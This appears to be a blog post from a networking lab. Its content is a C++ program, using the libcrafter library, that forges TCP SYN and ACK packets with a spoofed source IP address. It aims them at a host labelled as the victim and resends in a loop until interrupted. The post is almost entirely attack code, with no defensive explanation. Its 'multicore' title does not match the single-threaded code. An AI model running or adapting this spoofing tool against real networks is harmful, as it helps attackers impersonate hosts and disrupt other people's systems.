Problem Statement:
Implementation of IP spoofing using C++ multicore Programming
Implementation of IP spoofing using C++ multicore Programming
PROGRAM
#include <iostream>
#include <crafter.h>
#include <stdio.h>
#include <unistd.h>
using namespace std;
using namespace Crafter;
volatile byte spoof = 1;
void ctrl_c(int dummy) {
spoof = 0;
}
int main() {
string iface = "p1p1"; //interface for the lab systems
string MyIP = GetMyIP(iface);
IP ip_header1;
ip_header1.SetSourceIP("192.168.5.25"); //spoofing ip address
ip_header1.SetDestinationIP("192.168.5.23");// victims ip address
IP ip_header2;
ip_header2.SetSourceIP("192.168.9.36");//source of attacker
ip_header2.SetDestinationIP("192.168.5.25");//spoof ip
TCP tcp_header1;
tcp_header1.SetSrcPort(20);
tcp_header1.SetDstPort(85); //Destination port which will accept the packets
tcp_header1.SetSeqNumber(RNG32());
tcp_header1.SetFlags(TCP::SYN);//SYNC PACKET
TCP tcp_header2;
tcp_header2.SetSrcPort(20);
tcp_header2.SetDstPort(85);//Destination port which will accept the packets
tcp_header2.SetSeqNumber(RNG32());
tcp_header2.SetFlags(TCP::ACK);//ACK PACKET
Packet tcp_packet1 = ip_header1 / tcp_header1;
Packet tcp_packet2 = ip_header2 / tcp_header1;
Packet tcp_packet3 = ip_header1 / tcp_header2;
cout << endl << "BEFORE SENDING.. " << endl;
tcp_packet1.Print();
tcp_packet1.Send();
cout << endl << "SENDING.. " << endl;
tcp_packet1.Print();
cout<<"----------------------------------------------------------------------------------------------------------------------------"<<endl;
signal(SIGINT,ctrl_c);
while(spoof)
{
cout<<"SENDING THE PACKETS....."<<endl;
tcp_packet2.Send();
sleep(1);
}
tcp_packet3.Send();
CleanCrafter();
return 0;
}
No comments:
Post a Comment